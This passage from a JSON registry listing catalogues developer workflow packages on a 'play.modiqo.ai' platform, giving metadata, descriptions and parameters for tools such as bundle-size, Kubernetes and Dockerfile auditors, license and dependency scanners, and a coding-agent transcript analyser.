(TB)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:42494b64f01426ff2f60d4f654808e6e96c83a7f9c47c40f36c6ba52dfe20ee3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/npm-bundle-pulse@0.1.0","reference":"ameykaulavkar/npm-bundle-pulse@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/npm-bundle-pulse@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/npm-bundle-pulse@0.1.0","name":"npm-bundle-pulse","title":"npm-bundle-pulse","description":"JavaScript package bundle weight, tree-shaking efficiency, and download latency radar. Measures minified and gzipped bundle size, calculates simulated 3G and 4G mobile download latencies, audits package.json sideEffects declarations and ESM entrypoints for pure tree-shaking compliance, analyzes direct dependency bloat, suggests lighter modern alternatives (e.g. dayjs for moment, ky for axios), and scores Core Web Vitals (LCP/INP) main-thread execution impact. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-web-performance","job-bundle-audit","tool-bundlephobia","tool-tree-shaking","tool-core-web-vitals","audience-developers","effect-read-only"],"primary_domain":"domain-web-performance","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:41:09.882997+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7531,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["treeshake_audit","dependency_weight","bundlephobia_probe","alternative_suggester","performance_scorecard"]},"parameters":[{"name":"pkg","type":"string","required":false,"default":"lodash","description":"NPM package name to analyze (e.g. lodash, moment, axios, zod, react)"},{"name":"version","type":"string","required":false,"default":"latest","description":"Package version tag (default: latest)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:eec77ded4dc1eb428c3a12bc75cfa09262f1674ee18d9ba959ecd3e4a56acf58","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/k8s-manifest-bench@0.1.0","reference":"ameykaulavkar/k8s-manifest-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/k8s-manifest-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/k8s-manifest-bench@0.1.0","name":"k8s-manifest-bench","title":"k8s-manifest-bench","description":"Kubernetes manifest security hardening & CIS benchmark auditor. Evaluates YAML manifests (Deployment, Pod, StatefulSet) against CIS Kubernetes Benchmark 5.2 securityContext controls (runAsNonRoot, readOnlyRootFilesystem, allowPrivilegeEscalation, capabilities drop), verifies QoS resource limits and memory starvation safeguards, audits liveness/readiness health probes, checks pod anti-affinity and multi-replica resilience, and flags unpinned mutable image tags (:latest) and hostPath mounts. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-devops","job-kubernetes-security","tool-k8s-manifest","tool-cis-benchmark","tool-qos-resources","audience-developers","effect-read-only"],"primary_domain":"domain-devops","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:37:46.432493+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7741,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["health_probes","resource_limits","image_provenance","security_context","pod_disruption_and_affinity"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"File path, URL, or string of Kubernetes YAML manifest (defaults to production deployment sample)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:98deff05054a213250f87d31ce64a3f00a09a08c6d5b317cb71f257e453d17e2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/dockerfile-bench@0.1.0","reference":"ameykaulavkar/dockerfile-bench@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/dockerfile-bench@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/dockerfile-bench@0.1.0","name":"dockerfile-bench","title":"dockerfile-bench","description":"Container security & multi-stage build optimization benchmark. Audits Dockerfiles against CIS benchmarks and container engineering best practices. Evaluates base image tag pinning and minimal distro selection (distroless/alpine vs heavy debian/ubuntu), inspects security hygiene (non-root USER directives, absence of sudo, leak detection for hardcoded secrets), verifies layer cache efficiency and dependency copying order, audits multi-stage build structure and compiler stripping, and verifies HEALTHCHECK and JSON exec-form signal handling. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-devops","job-container-security","tool-dockerfile","tool-cis-benchmark","tool-layer-caching","audience-developers","effect-read-only"],"primary_domain":"domain-devops","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:15:39.565094+00:00","visibility":"public","quality_score":0.400000005960464,"size_bytes":8663,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["base_image_audit","security_hygiene","multistage_anatomy","healthcheck_and_ports","layer_cache_efficiency"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"URL or path to Dockerfile (defaults to built-in production multi-stage sample)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ab2aac6c4731c4261e12dbbe14c85f87aecf2bb95148ba5e458805b0fcc362e8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/license-guard@0.1.0","reference":"ameykaulavkar/license-guard@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/license-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/license-guard@0.1.0","name":"license-guard","title":"license-guard","description":"Open source dependency license risk matrix and commercial SaaS compliance scanner. Audits direct package declarations against the canonical SPDX registry, evaluates viral copyleft contagion risk (MIT, Apache vs GPL, AGPL, SSPL), verifies commercial SaaS API hosting permissions without forced source disclosure, checks patent grants and NOTICE file requirements, and samples direct dependencies to catch transitive copyleft infections. A parallel dependency DAG where each probe degrades gracefully; yields an actionable compliance scorecard (0-100), risk tier, SaaS compatibility grade (A+ to F), and stage ledger. S0-clean, zero keys, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-compliance","job-license-audit","tool-spdx","tool-copyleft-risk","tool-commercial-saas","audience-developers","effect-read-only"],"primary_domain":"domain-compliance","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:08:45.975516+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":10632,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["copyleft_risk","spdx_classifier","patent_and_notice","transitive_sample","commercial_saas_check"]},"parameters":[{"name":"pkg","type":"string","required":false,"default":"express","description":"Package name to audit (npm or PyPI) or SPDX license code"},{"name":"ecosystem","type":"string","required":false,"default":"auto","description":"Ecosystem: auto, npm, or pypi"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4cfdf7d05848a423a511dd69682a10b26b8df3213373c0b655b0888e8581375b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/siddu-launch/community-launch-scout@1.0.0","reference":"siddu-launch/community-launch-scout@1.0.0","uri":"https://play.modiqo.ai/siddu-launch/community-launch-scout@1.0.0","manifest_uri":"https://play.modiqo.ai/siddu-launch/community-launch-scout@1.0.0","name":"community-launch-scout","title":"community-launch-scout","description":"Research-driven launch intelligence with live API discovery, strict domain gates, and verified policies.","owner":{"kind":"org","slug":"siddu-launch"},"registry_organization":"siddu-launch","tags":["marketing","reddit","launch","hackernews","community","saas","growth"],"primary_domain":"domain-uncategorized","author":"builder","version":"1.0.0","published_at":"2026-09-05T14:04:45.041799+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":20482,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":7,"names":["scout_github","validate_input","discover_reddit","scout_hackernews","match_communities","understand_product","synthesize_playbook"]},"parameters":[{"name":"topic","type":"string","required":true,"description":"Product topic or niche (e.g. Data structure algorithm, ai habit tracker, Ollama desktop chat)","example":"Data structure algorithm"},{"name":"audience","type":"string","required":false,"default":"","description":"Target audience demographic (e.g. cs students, developers, habit builders)","example":"cs students"},{"name":"goal","type":"string","required":false,"default":"first_users","description":"Launch objective (feedback, first_users, revenue, open_source)","example":"first_users"},{"name":"limit","type":"string","required":false,"default":"5","description":"Number of communities to rank (1-15)","example":"5"},{"name":"format","type":"string","required":false,"default":"long","description":"Output view format ('short' for concise one-line bullets, 'long' for full dossier)","example":"short"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:24206f66718bd7e61b89b268085451419e46b4b11b751d28734ed708116cfd5b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":3,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ameykaulavkar/seo-og-inspector@0.1.0","reference":"ameykaulavkar/seo-og-inspector@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/seo-og-inspector@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/seo-og-inspector@0.1.0","name":"seo-og-inspector","title":"seo-og-inspector","description":"Web page social card, OpenGraph & Schema.org structured data validator. Probes page HTML head for titles and meta descriptions with character length checks, audits OpenGraph tags (title, description, verified image resolution), inspects Twitter/X Card compliance, validates Schema.org JSON-LD structured data (@graph, Organization, SoftwareApplication), and tests favicon and touch icons. A parallel dependency DAG where each probe degrades gracefully to labeled unknowns; ends in an ASCII social card preview and an actionable stage ledger. S0-clean, reads public web pages only, carries no keys, writes nothing.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-marketing","job-seo-audit","tool-opengraph","tool-twitter-cards","audience-developers","effect-read-only"],"primary_domain":"domain-marketing","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T14:04:40.831152+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6353,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["meta_tags","schema_jsonld","twitter_cards","opengraph_probe","icons_and_assets"]},"parameters":[{"name":"url","type":"string","required":false,"default":"https://modiqo.ai","description":"Target URL to inspect for SEO and OpenGraph metadata (e.g. https://modiqo.ai, https://github.com)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ac417a6d7a1903edd35afb9ca34dae9e9086881528744fe6e86332548b261c53","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/ai-model-compass@0.1.0","reference":"ameykaulavkar/ai-model-compass@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/ai-model-compass@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/ai-model-compass@0.1.0","name":"ai-model-compass","title":"ai-model-compass","description":"Live AI model pricing, provider health & workload cost simulator. Reads live token pricing rates across leading frontier and economy models (Claude 3.5 Sonnet/Haiku, GPT-4o/mini, o3-mini, Gemini 2.0 Flash, DeepSeek V3/R1, Mistral), monitors live provider status feeds (Anthropic, OpenAI, Google Cloud, Cloudflare AI), and calculates estimated monthly costs with cost-optimization recommendations. A parallel dependency DAG where each probe degrades gracefully to labeled unknowns; ends in an executive model matrix with an actionable stage ledger. S0-clean, reads public pricing and status APIs, carries no keys, writes nothing.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-ai","job-model-selection","tool-litellm-pricing","tool-cost-simulator","audience-developers","effect-read-only"],"primary_domain":"domain-ai","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T13:57:20.408226+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6189,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["live_pricing","cost_simulation","provider_status"]},"parameters":[{"name":"workload_prompts","type":"string","required":false,"default":"50000","description":"Estimated monthly agent requests / prompt calls (e.g. 10000, 50000, 200000)"},{"name":"avg_input_tokens","type":"string","required":false,"default":"1000","description":"Average prompt / input tokens per call (e.g. 500, 1500, 4000)"},{"name":"avg_output_tokens","type":"string","required":false,"default":"500","description":"Average response / completion tokens per call (e.g. 200, 500, 1000)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a706e15397f158cd4d2fba5cf2f15f3bb053299962af4b985c5563da006ecb92","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":3,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/repo-posture@0.1.0","reference":"ameykaulavkar/repo-posture@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/repo-posture@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/repo-posture@0.1.0","name":"repo-posture","title":"repo-posture","description":"GitHub repository posture & pre-release readiness scorecard. Evaluates repository health, default branch state, recent CI/Actions workflow pass rate and failure history, release tag versioning, community documentation compliance (README, License, Contributing, CoC), and open pull request velocity. A parallel dependency DAG where each probe degrades gracefully to labeled unknowns; ends in an executive release readiness grade (A to F) with an actionable stage ledger. S0-clean, reads public GitHub APIs, carries no keys, writes nothing.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-engineering","job-release-readiness","tool-github-ci","tool-repository-posture","audience-developers","effect-read-only"],"primary_domain":"domain-engineering","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T13:57:06.471884+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6034,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["pr_velocity","release_delta","repo_overview","ci_workflow_runs","community_health"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"modiqo/play","description":"GitHub repository slug or URL (e.g. modiqo/play, expressjs/express, facebook/react)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a5f7185574cb7f684ad1ccc732eeb8adcbeeecd44762864b11a6224b53c48f85","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/pkg-xray@0.1.0","reference":"ameykaulavkar/pkg-xray@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/pkg-xray@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/pkg-xray@0.1.0","name":"pkg-xray","title":"pkg-xray","description":"Deep dependency supply chain & security risk radar. Inspects NPM and PyPI package metadata, tracks download volume and adoption momentum, scans Google OSV vulnerability database for active CVEs and GHSA advisories, evaluates GitHub repository vitality (stars, open issues, archival status), and assesses license compliance (MIT vs Copyleft). A parallel dependency DAG where each probe degrades gracefully to labeled unknowns; ends in a comprehensive safety scorecard (0-100) with an actionable stage ledger. S0-clean, reads public registries and APIs only, carries no keys, writes nothing.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-security","job-dependency-audit","tool-osv-vulnerabilities","tool-supply-chain-risk","audience-developers","effect-read-only"],"primary_domain":"domain-security","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-05T13:56:53.451612+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6947,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["osv_scan","registry_meta","download_stats","github_vitality"]},"parameters":[{"name":"pkg","type":"string","required":false,"default":"express","description":"Package name to inspect (e.g. express, lodash, requests, fastapi)"},{"name":"ecosystem","type":"string","required":false,"default":"npm","description":"Ecosystem: npm or pypi"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a3b261250b3f36b2d02059447eef5060341da9b03e6a146efce7c02ed76442dc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/readme-reality-repair@0.21.21","reference":"sakshamsai26/readme-reality-repair@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/readme-reality-repair@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/readme-reality-repair@0.21.21","name":"readme-reality-repair","title":"readme-reality-repair","description":"Compares README instructions with bounded repository evidence and writes only grounded documentation corrections as a run-owned patch artifact.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:17:19.024119+00:00","visibility":"public","quality_score":1,"size_bytes":6411,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:98aa1ece2e3f924b676e6cad5b0e2f187732dbcca55b58f73ea4728c2680d268","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/missing-test-builder@0.21.21","reference":"sakshamsai26/missing-test-builder@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/missing-test-builder@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/missing-test-builder@0.21.21","name":"missing-test-builder","title":"missing-test-builder","description":"Identifies meaningful untested behavior from a supplied change and writes a bounded targeted-test patch plan plus regression-test artifact without mutating the source repository.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:16:24.075071+00:00","visibility":"public","quality_score":1,"size_bytes":6424,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bf133a3a0321944f3950c19a26ad4056da550deb8b971bfa55347db25c406580","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohitjeswani01/engagement-drop-alert@0.1.0","reference":"mohitjeswani01/engagement-drop-alert@0.1.0","uri":"https://play.modiqo.ai/mohitjeswani01/engagement-drop-alert@0.1.0","manifest_uri":"https://play.modiqo.ai/mohitjeswani01/engagement-drop-alert@0.1.0","name":"engagement-drop-alert","title":"engagement-drop-alert","description":"Platform-agnostic, zero-API social media post performance monitor. Calculates trailing rolling averages of engagement, detects significant performance drops, and sends Telegram push alerts with dynamic AI recommendations.","owner":{"kind":"user","slug":"mohitjeswani01"},"registry_organization":"mohitjeswani01","tags":[],"primary_domain":"domain-uncategorized","author":"mohitjeswani01","version":"0.1.0","published_at":"2026-09-05T09:06:14.802857+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":32344,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d2ba787eccf7cd12d1e0f2c8f57258e3e33f9b951a34fbd424dd12bad90d512c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/rajkaria/wrong-turns@0.1.5","reference":"rajkaria/wrong-turns@0.1.5","uri":"https://play.modiqo.ai/rajkaria/wrong-turns@0.1.5","manifest_uri":"https://play.modiqo.ai/rajkaria/wrong-turns@0.1.5","name":"wrong-turns","title":"wrong-turns","description":"Rote asks you to keep one wrong turn in every Play as proof a human was steering. Your logs already hold hundreds. This reads Claude Code and Codex transcripts and finds three kinds: tool calls that returned an error, the message where you corrected the agent, and reverts. It groups them into recurring mistake classes by tool and error signature, counts how often each recurred across sessions and days, prices what the recovery cost in tokens, and shows one redacted line of evidence per class. For every class that recurred three or more times it drafts the rule that would have prevented it, in a block you can paste into CLAUDE.md or AGENTS.md, and labels each draft with the confidence of the signal behind it: tool errors are high, phrase-detected corrections are medium, and it never upgrades a guess. It writes the draft next to the report and never edits your rules files. Read-only, no credentials, no network, python3 only. Point claude_dir at resources/fixtures/claude to see a full run on synthetic logs first.\n- Reads: session logs under the four configured directories. Nothing else. - Never reads: `~/.claude.json`, `~/.codex/auth.json`, any credential, keychain or token file. Which AI you run is inferred from the model ids already in those logs; the plan tier is never read from your account. - Never sends from the core: reading, pricing and rendering make no network calls. Verifiable: `comped_core` imports no `urllib`, `http`, `socket`, `subprocess` (except the PNG renderer, which is invoked with a fixed argv and no shell). The one step that talks to the network is `comped`'s `post_score`, a separate short script that sends your score to the gotcomped.com leaderboard after the card is written and nothing before; `leaderboard=false` skips it, and a failed post never fails the run. - Writes: only under `out_dir`. Every written path is listed in the report. - Message text: truncated to 120 chars and hashed by default. `redact=false` keeps full text locally, never in the card.\nSee also: `session-ledger` (the normalized ledger this reads) and `comped` (prices it and finds your repeat asks). Docs, the full methodology and 